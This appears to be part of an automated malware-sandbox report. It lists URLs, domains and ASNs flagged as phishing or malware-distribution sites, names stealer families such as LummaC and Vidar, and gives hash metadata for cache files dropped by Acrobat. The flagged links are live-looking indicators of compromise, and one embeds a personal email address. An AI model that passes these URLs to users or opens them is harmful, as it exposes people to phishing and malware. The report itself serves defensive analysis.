	https://hy.markkasmick.click/cx/tbSgVco_akr35UznLBgMmL_dGwr4A9B_vyg2WwEB0w1LRjKjQMyEnB89mCfTRy8oqnbpdFunqinBhx0TsHvSJdUHnbksc3kdcKecoDvVHa5LAm46atMmRo3D2CHoEu2bmOqt4Ic8O_7AE7Igwgbi5c8zmZf6Fqp_XqcjREPr7609oL7vKm8FfjGLhMetr2oxtpR3ywH4BUElgc7EI7usxj8CJYEUMktwlb7YUzPvYQ7P1PilEV0LqiXI5sm6QVF4ZGl5TIXhnQLOG0kl6WQ0miiZysBfhaNojnPTUvisUUkwOp2fYTxkXEIhZ7ESJ7qXYLxQbmy4RJVeZZZ3RY5rX8W5t8cudSM9Zx7UaxgLH56aOv81v4QfUnzroT9v7LR3jPEjzYXr2LwuykYQnzvV6boWlogU4jkPE6MocRRlRoC6uUx2e1Wseo8MqGWTT2uXo4HbQDneiMF84sQ34*3TnbAxXWu8xLbb_mAOQxUTA3T5TUUZKeU3ziolM8TSVV5Y5LQTFGtNArddwJKdWCb_cLYMxUJpZ3cqM_A	Get hash	malicious	Unknown	Browse
	https://krebsonsecurity.com/2024/10/patch-tuesday-october-2024-edition	Get hash	malicious	Unknown	Browse
	https://click.agilitypr.delivery/ls/click?upn=u001.eiLrPCkKKjApnPIr0I-2BsRfkpzjEGhTCoHqG09iolrdhlMYGCOo2Nd-2FxjkEBEx2ILarmVrzugxvL3mzK8oRbzmw-2Fc8MlnUZ-2Fr7oFdK8O5ZPNkRNGBT2B5w7-2BPGYsDVJaX7Ju4_CsMjdMvVCH8VnXX4Gfqu2d-2F8dUxANUAZ6i0guRxOZ16SBn-2BfWKPYCJ4k-2FRayz-2B7dgj-2Fry3pp6bh27tMOonGdCv5tjKX-2BF3xoFuSqeM2q0ggzsiKdwHoy3hTh08ynmZWbcBa2wQancmLCRha7gIvuGF-2BaYXuvGrIxnmpxoXmMm6ir51qvGKOvNKdK5IH4SYf35X5Wd-2Fs6YZWP8vKqWmGP1KToK5-2FGS-2BKn-2Bf84fcBuTdvvkjO8NEF5Bpt9hfpdVjRN-2FV0yMk97PXeyRMLgSEmwvvB4CTAjLo1gEwkG7vxhEAXXg1bNDHaxOZEzcIkoAbp8oMfK5YrMDngcc0JjC3pXeoycPv9IyLICjZ-2BgbU8HA-2BOjvDkAcylLxTWsU8lsqYTGnTfslidP4BMlB0nIxXCbcq4-2FLoVs6F-2Fhdrhdj9zy6VM-3D	Get hash	malicious	HTMLPhisher	Browse
	https://hzhdjz.com/modify/	Get hash	malicious	Unknown	Browse
104.18.161.117	https://www.canva.com/design/DAGZLdpMEGI/O58JBUDFuRvFcdZ0tgIwgA/edit?utm_content=DAGZLdpMEGI&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse
	https://es-proposal.webflow.io/	Get hash	malicious	HTMLPhisher	Browse
	https://newdocumentsproposal.webflow.io/	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse
	http://ar-oracle.com	Get hash	malicious	Unknown	Browse
	http://dhswatchlist.com	Get hash	malicious	Unknown	Browse
	http://url5148.librariapena.com/ls/click?upn=u001.GicqFEndYG5aFpuN1ngPufTfXrsQ9xNlNirpytR4MM9aBsYYFODsiAPftWqmKpvrE6ff_B2fWkfszhSflnL0HA3FnQqEKk1HJkizy-2Fud2LEQeI5aha2K2G6ppF2O0bL7D7H7LMN8WGu5xRF2M8uaTM6MXf6DAMaADWmIUL1YqZWKrQh1g-2F0n0cxV2mRrNZEteUwfW5DOdClcZ0c7E-2FIhACBFYnzvVFSnfSt3CZCN7P1EL1QyPVm42KBQGCDp3btvtG-2BbRJha-2FOyJXx-2BDZbno3l2jsvw-2FwkacYeoKE0uINsamNbg0rV0A52QCvn7k6VYTShXjbi9u51Z787-2F01bX1DTA9aSBSP-2FWMLEspaU-2FIdc1x-2FmRDSh7t6BQtQAtVlDsdci-2FkdE5XEzXcy1T7RT1mRx0Z8c0C7T5TxNvH7MOJLp-2BPx4LTMm4cKm4w-2Br4av4rqX3sFI-2B0Z54CPJjpfmgkQpOwbMxDkpsmVoLcKhd8rV7DcMtFguJaotRS3nEWM4vOO-2FegVGhzrwPBH6NjA2esFflr-2FYmA56ZztqyuVYNkq6vFbZhu3qpImgcxi-2BBybDKRWWCy9ZJhz5kW6d7c5iFMdA14shvBlO5oteNsOg1T8Wcd4MIJllivR5RQLa6JKyKUfgK8kF9DoOU4JGzocfITKQs9Z05ET92-2FS1aC5wu-2FuyffXQ4VOTrXPB9d3zUlvAaEdOc87CGa5e4y4lu-2F-2B9njpJqjlihSLoXPx3uHJhhT5l60Eu-2Fd0OnNMVN2uGoOn8P4Kyfxcr-2B3atbrIS84kkAo7VV7ElDHFn2Wn-2B0iZqwoFL1t1YCz2cR3xAkH3Dm45o7ag9bF7tv0L4g2t8v1fAwuiPylHAHkqFOEcwcDndKNNLE7ObrCi0wDxBijc-2FYVZU6-2F0yIfBAmiocABK2NEl2-2F-2FPMERnDYg-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	https://link.edgepilot.com/s/638b11ee/5PAE0D7rGEubgiw42RPNhQ?u=https://flow.wirtube.com/	Get hash	malicious	HTMLPhisher	Browse
	https://click.pstmrk.it/3s/tldr.tech%2Fconfirmed%3Femail%3Djames.ward%2540gerflor.com%26newsletter%3Dinfosec/pEGE/grO4AQ/AQ/de2d9b1d-a87c-40b3-97e7-314a53573877/2/GfrX-GFLqn	Get hash	malicious	HTMLPhisher	Browse
	https://storage.googleapis.com/new78sd6f876d87fsf/usicloud-jrg1	Get hash	malicious	Unknown	Browse
	http://url5730.bkb-tours.com/ls/click?upn=u001.RGHmK1hbhRj1emqWdiNhLSLfhiHa5Xgj2PgdNFABoTzAEieA-2BAi72IlbwekEjzmy-2Bbvyjc6OaRM0j3Y4D96jZw-3D-3Dl_HJ_IaEOxqgZXlhF-2FWeAthks65A7pC1uGLQoAycHsX43qhoY-2F2AfxoNRV5ePdcjR3Gmg3WGISjAQum9P1-2BACjbElY8P-2BeONKCdI2tniCQVsSVCD-2FsxwCAZ-2BQpOtFFL-2FQRhupVHsOvETyg5eKwS2piuqrqBYS71eHVVSueSBFxE1p9DMjbfAk7jH2aVa8b7PXtZRLu-2F9H7mPlyE1h5QrMK3-2BeYw3ElgCtyzumNXeUQn5iTSgDnH8glp8UH-2B3qyZlDpkszcgav-2Bg91yHAam8NfBR-2FyHHiv6QFOu9Jf5KPsoq-2BvHwM83R2h6zfPuiZCwiBV0x6xGa7QYuUJMXLQtymSaQ9jymf0FXVzo6qCk6-2BR4t2uIKIAiS5u0UF5DyZwT-2FZm6FlaC36a-2FQxXEsmDD8tl5XKFrCNeBuJ9d8HzMYjiAuOiNvju638VdmHFwT5QF4N-2FRbMw1xJ4EatDOFuMlfE1D5F2fExgfdT20s1XlM7n6AVpUmLSDaBXI08KtIAKs4nnVpzbWgYVc5HwgnwLJ-2FnDuveTaRIZcaIXPyYlWuc20qaTwUCV1ad5w3IrcqQQQj36ILX27j9UEWSWjuvKNiG9X9yLS7ZlHBN5E5pBrNn6TRIGLKk-2BDpHVK-2B2itIT6IJ4vcsCPz1imvAM2kGFFVJ0xZZ0Tu5-2BnR2Ywu3a8QDcNLD1QJ6a-2BCrhdN3PaffwSiy9JNSjYSCgPvyFq9fdumL1XMcqf3faT80lxPygL1SYQDRNefwuSx8XcYAJhMd8rw6fZxhd3aJKSQZsrrlDkRKfFcSj569IaIMbg1QNvOKSPwcfFwg8LloZ49bGdLmaLDshtAIO3g1ppfgu1pz6O7yOy7-2F-2FUiy7zLw7H-2BUsXvAxc9I3-2BUUw-3D	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
js.hs-banner.com	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.18.40.240
	https://prezi.com/i/wuualyitwcxt/	Get hash	malicious	HTMLPhisher	Browse	104.18.40.240
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse	172.64.147.16
	https://intelligentrepairsolutions-my.sharepoint.com/:b:/g/personal/a_zell_irs-group_com/ETrGN6yXppBBt5Jzbj4zKhgBq4v6Oyb7O70AESL4N06CfQ?e=4%3aChQOAq&at=9	Get hash	malicious	Unknown	Browse	104.18.40.240
	Valutazione della sicurezza IT - Azione urgente richiesta.html	Get hash	malicious	Unknown	Browse	172.64.147.16
	https://share.hsforms.com/1btg1UbajRd2Ui8qqobJYrAssgaj	Get hash	malicious	HTMLPhisher	Browse	104.18.40.240
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/email.email.panda%C2%ADdoc%C2%AD.net/c/eJxUkE2P2yAQhn-NuWWFARt88CFVY612oypR2m7UywqGwSGJDcLY3c2vryJ1-3EbjeZ99MxrW1Nz4xSxAeYBx_zqbdufVQy8WvbnZ4mHr1v5vX_uDcG2lJxXVAlZk1MLSiPjHKRWYBw4lJZJCRqkEVJZQXzLKBMlo3WpqKz4g6l4zS03pmSmLmVZCIqD9teHqEerbYCHETPx02tOGlCbK7Y5zUiu7SnnOBV8XbCuYJ2O8W8EwlCw7kO_YN3CCt7lcMGx4J8NSlVVAgyKymkGjIKWqBoJ3DlUXIGiDUhX8I6MIXvnQWcfxnsNzgkqLMCqwQZWolF0pTk0K0qZQ7S1QVeTkHo9-tuf0GZ5eheeH9Pm7by_vbzf7PD4ZUdSG09zSoWgIWY_zMOUtXN-7O_-JOHip9-A-fB43HRxdxy-Qfi03b-sbbxIktuPF_8ZV1mnHv_bTPeLpWXkZ0iXKWrAO3SXD-unw3Y8i7e8HH7ki-bz5H4FAAD__zN8qVc	Get hash	malicious	Unknown	Browse	172.64.147.16
	Audit(s) & Inspection(s) Due and Overdue Notification for Baez Rossy, Jafeth.eml	Get hash	malicious	Unknown	Browse	104.18.40.240
	http://svchorst.com	Get hash	malicious	Unknown	Browse	172.64.147.16
	http://trilogyic.nimbusweb.me	Get hash	malicious	Unknown	Browse	104.18.40.240
static.hsappstatic.net	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.17.175.91
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse	104.17.172.91
	https://intelligentrepairsolutions-my.sharepoint.com/:b:/g/personal/a_zell_irs-group_com/ETrGN6yXppBBt5Jzbj4zKhgBq4v6Oyb7O70AESL4N06CfQ?e=4%3aChQOAq&at=9	Get hash	malicious	Unknown	Browse	104.17.172.91
	Valutazione della sicurezza IT - Azione urgente richiesta.html	Get hash	malicious	Unknown	Browse	104.17.174.91
	https://share.hsforms.com/1btg1UbajRd2Ui8qqobJYrAssgaj	Get hash	malicious	HTMLPhisher	Browse	104.17.172.91
	http://svchorst.com	Get hash	malicious	Unknown	Browse	104.17.172.91
	https://c9amf220.caspio.com/dp/3ba5e0002add93b7ba4f4d22b51d	Get hash	malicious	Unknown	Browse	104.17.173.91
	https://share.hsforms.com/13Dqwfz0LRkK1qoBQuRdgjgsnbj9	Get hash	malicious	HTMLPhisher	Browse	104.17.176.91
	http://software.oldversion.com/download.php?f=YTo1OntzOjQ6InRpbWUiO2k6MTczMTQ4OTAwMjtzOjI6ImlkIjtpOjEzODk4O3M6NDoiZmlsZSI7czo0MzoicGRmY3JlYXRvci0xLTYtMi1QREZDcmVhdG9yLTFfNl8yX3NldHVwLmV4ZSI7czozOiJ1cmwiO3M6NTA6Imh0dHA6Ly93d3cub2xkdmVyc2lvbi5jb20vd2luZG93cy9wZGZjcmVhdG9yLTEtNi0yIjtzOjQ6InBhc3MiO3M6MzI6IjMwYzExNzY3MTEwNWY3MjhjYjA0YzU2ZjkzYTc1YTRjIjt9	Get hash	malicious	Unknown	Browse	104.17.173.91
	https://d5hSNQ04.na1.hubspotlinks.com/Ctc/Y+113/d5hSNQ04/MVMKCWs_LpLW6M2tMw6fYSwDW861hN75n1762N35KTC63lcq-W6N1vHY6lZ3lRW62lrqD8myJyRVc8h0P2j1zQcW2smXf07sb8RXW1bQ5YL303bx4W17Wz_f1r2klnW53gXLB5VXdRwW5CL5dg6hNVw4W20ByFV3r0jn1W3x17fK1t50D-W96VtSV53KsqXW1rw4B23Qm-qYW7cGbkn3R7Kw9VdqC2r69fTZfW4CW0VN2c8X3vW3Tz_VR32mfptN4ksQKthRqYsW6gWhJP2gWtpNW4QQ9By5QrsRFW287Blb2ggrvXW7Vr25s8w03LtW8Sw-dM5q1jvQN72qVs4-03zvf4sq2bd04	Get hash	malicious	Unknown	Browse	104.17.172.91
forms.hsforms.com	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse	104.19.175.188
	https://intelligentrepairsolutions-my.sharepoint.com/:b:/g/personal/a_zell_irs-group_com/ETrGN6yXppBBt5Jzbj4zKhgBq4v6Oyb7O70AESL4N06CfQ?e=4%3aChQOAq&at=9	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://share.hsforms.com/1btg1UbajRd2Ui8qqobJYrAssgaj	Get hash	malicious	HTMLPhisher	Browse	104.19.175.188
	https://www.schneiderpostaccident.com	Get hash	malicious	Unknown	Browse	104.19.175.188
	http://svchorst.com	Get hash	malicious	Unknown	Browse	104.19.175.188
	http://trilogyic.nimbusweb.me	Get hash	malicious	Unknown	Browse	104.19.175.188
	https://c9amf220.caspio.com/dp/3ba5e0002add93b7ba4f4d22b51d	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://sewing-ladyltd.myshopify.com/sol?syclid=365862d9-5d6e-4a94-b401-31f50f547182	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://share.hsforms.com/13Dqwfz0LRkK1qoBQuRdgjgsnbj9	Get hash	malicious	HTMLPhisher	Browse	104.18.80.204
plus.l.google.com	https://qrs.ly/gggdyxx	Get hash	malicious	Unknown	Browse	142.250.181.78
	https://iwr.soundestlink.com/ce/c/676002d8893d08b60d0548a9/67600e317a8dc234ff2c418f/67600e4e1033e9cdafe04236?signature=d71ee5ef2af4c3905acd300a8f3b595d0164d440b8def5e7254a839fa6b579a9	Get hash	malicious	Unknown	Browse	142.250.181.78
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.217.17.46
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.46
	http://minimalfreaks.co	Get hash	malicious	HTMLPhisher	Browse	142.250.181.78
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	142.250.181.78
	T0nhEmsC5u.exe	Get hash	malicious	Cryptbot	Browse	172.217.17.46
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	142.250.181.46
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	172.217.17.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Remit_Advice_SMKT_84655.htm	Get hash	malicious	HTMLPhisher	Browse	104.21.96.1
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://docsend.com/v/ty7vw/up-date	Get hash	malicious	Unknown	Browse	172.67.182.24
	https://yxyz.zyxy.org/awjxs.captcha?u=c450c3eb-f121-4401-970f-d07fe840d263	Get hash	malicious	Unknown	Browse	104.21.25.207
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	104.16.184.241
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.164.37
	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.18.142.119
	https://qrs.ly/gggdyxx	Get hash	malicious	Unknown	Browse	1.1.1.1
	236236236.elf	Get hash	malicious	Unknown	Browse	104.26.14.131
CLOUDFLARENETUS	Remit_Advice_SMKT_84655.htm	Get hash	malicious	HTMLPhisher	Browse	104.21.96.1
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://docsend.com/v/ty7vw/up-date	Get hash	malicious	Unknown	Browse	172.67.182.24
	https://yxyz.zyxy.org/awjxs.captcha?u=c450c3eb-f121-4401-970f-d07fe840d263	Get hash	malicious	Unknown	Browse	104.21.25.207
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	104.16.184.241
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.164.37
	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.18.142.119
	https://qrs.ly/gggdyxx	Get hash	malicious	Unknown	Browse	1.1.1.1
	236236236.elf	Get hash	malicious	Unknown	Browse	104.26.14.131
CLOUDFLARENETUS	Remit_Advice_SMKT_84655.htm	Get hash	malicious	HTMLPhisher	Browse	104.21.96.1
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://docsend.com/v/ty7vw/up-date	Get hash	malicious	Unknown	Browse	172.67.182.24
	https://yxyz.zyxy.org/awjxs.captcha?u=c450c3eb-f121-4401-970f-d07fe840d263	Get hash	malicious	Unknown	Browse	104.21.25.207
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	104.16.184.241
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.164.37
	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.18.142.119
	https://qrs.ly/gggdyxx	Get hash	malicious	Unknown	Browse	1.1.1.1
	236236236.elf	Get hash	malicious	Unknown	Browse	104.26.14.131
CLOUDFLARENETUS	Remit_Advice_SMKT_84655.htm	Get hash	malicious	HTMLPhisher	Browse	104.21.96.1
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://docsend.com/v/ty7vw/up-date	Get hash	malicious	Unknown	Browse	172.67.182.24
	https://yxyz.zyxy.org/awjxs.captcha?u=c450c3eb-f121-4401-970f-d07fe840d263	Get hash	malicious	Unknown	Browse	104.21.25.207
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	104.16.184.241
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.164.37
	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.18.142.119
	https://qrs.ly/gggdyxx	Get hash	malicious	Unknown	Browse	1.1.1.1
	236236236.elf	Get hash	malicious	Unknown	Browse	104.26.14.131

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.163028917357595
Encrypted:	false
SSDEEP:	6:7gjvMq2PsHO2nKuAl9OmbnIFUt8OgW9Zmw+OgWPkwOsHO2nKuAl9OmbjLJ:7gjvMvkHVHAahFUt8OgW9/+OgWP51HVC
MD5:	60142244AF016F94A649F233FC4B0A03
SHA1:	EA1F5E8A97A46D6139AD2686A7C05184531D5C7F
SHA-256:	A9E7E1578D516B5FA2F05F5F3AD5F6BEF974EE1FC3B64BC047B55FD95E930061
SHA-512:	03413E19C5FD935F417AD25AB4CA649907A0E39864E3F4915199D5E0285E38F1493905B14249E7260AE92C5DCA6C99887CDBEE52DB3FFC726DD3D54F5E14E317
Malicious:	false
Reputation:	low
Preview:	2024/12/16-12:44:34.244 1b74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/16-12:44:34.245 1b74 Recovering log #3.2024/12/16-12:44:34.245 1b74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.163028917357595
Encrypted:	false
SSDEEP:	6:7gjvMq2PsHO2nKuAl9OmbnIFUt8OgW9Zmw+OgWPkwOsHO2nKuAl9OmbjLJ:7gjvMvkHVHAahFUt8OgW9/+OgWP51HVC
MD5:	60142244AF016F94A649F233FC4B0A03
SHA1:	EA1F5E8A97A46D6139AD2686A7C05184531D5C7F
SHA-256:	A9E7E1578D516B5FA2F05F5F3AD5F6BEF974EE1FC3B64BC047B55FD95E930061
SHA-512:	03413E19C5FD935F417AD25AB4CA649907A0E39864E3F4915199D5E0285E38F1493905B14249E7260AE92C5DCA6C99887CDBEE52DB3FFC726DD3D54F5E14E317
Malicious:	false
Reputation:	low
Preview:	2024/12/16-12:44:34.244 1b74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/16-12:44:34.245 1b74 Recovering log #3.2024/12/16-12:44:34.245 1b74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1423026323858805
Encrypted:	false
SSDEEP:	6:7gGq2PsHO2nKuAl9Ombzo2jMGIFUt8OgrZmw+OghkwOsHO2nKuAl9Ombzo2jMmLJ:7gGvkHVHAa8uFUt8Ogr/+Ogh51HVHAaU
MD5:	588450F1CD50972D72EDD6CD4BFF0BA8
SHA1:	6C37DDB96CAB9E744491F58125841CE6C9491251
SHA-256:	7099C2FE76C76207102280BD6C913BF0DFF182176378B2ED3B80FEBB4A35FA4D
SHA-512:	CF1CE77B48C360435A4E0A61935B7640D259457D57C9B87826BC7724DAB28C09F80624AC11CEE4E6EFF31EB8434077A045FEDC43D6EF83AB256C080D2B53B25F
Malicious:	false
Reputation:	low
Preview:	2024/12/16-12:44:34.132 1b90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/16-12:44:34.136 1b90 Recovering log #3.2024/12/16-12:44:34.136 1b90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1423026323858805
Encrypted:	false
SSDEEP:	6:7gGq2PsHO2nKuAl9Ombzo2jMGIFUt8OgrZmw+OghkwOsHO2nKuAl9Ombzo2jMmLJ:7gGvkHVHAa8uFUt8Ogr/+Ogh51HVHAaU
MD5:	588450F1CD50972D72EDD6CD4BFF0BA8
SHA1:	6C37DDB96CAB9E744491F58125841CE6C9491251
SHA-256:	7099C2FE76C76207102280BD6C913BF0DFF182176378B2ED3B80FEBB4A35FA4D
SHA-512:	CF1CE77B48C360435A4E0A61935B7640D259457D57C9B87826BC7724DAB28C09F80624AC11CEE4E6EFF31EB8434077A045FEDC43D6EF83AB256C080D2B53B25F
Malicious:	false
Preview:	2024/12/16-12:44:34.132 1b90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/16-12:44:34.136 1b90 Recovering log #3.2024/12/16-12:44:34.136 1b90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7d654fb9-281d-4553-bdf0-d6909e6379a8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.9795024964860275
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq+csBdOg2H5qcaq3QYiubEP7E4TX:Y2sRdszhdMH5F3QYhbY7n7
MD5:	35A6B06EF7E60C5C811B72CC69B691C0
SHA1:	F1EB1BC2E607486FC5E6530EE353AFCF54F97254
SHA-256:	B1B2775E178EAEEA6A019BA4B0E2C201010D7EA3559B845BF0EFCDE2BF8A5473
SHA-512:	DB92E4E8F2AA02B3A4FAD4EE2215BEDDEB035317E78DDEEE02871E1618DDFBBC6825C5D1F91942B5CD50E1BD9C8B755ABD54A1A1DFB0428D3F4512D7E85103E8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378931085624298","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":670777},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.17","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	4.932552339462053
Encrypted:	false
SSDEEP:	6:YHpoueHOJ3/QBR+gR8+eqq5KL1SsDHF4R8H2a9a1o3/QBR70S7PMVKJTnMRKXk1Y:YH/um3RA8sq01SsBd2caq3QH7E4TX
MD5:	1B8F511BE0FCD6FB7524F55C9FB06E61
SHA1:	01BFA769F459561D9748A7E1AD5862DF8216BA4E
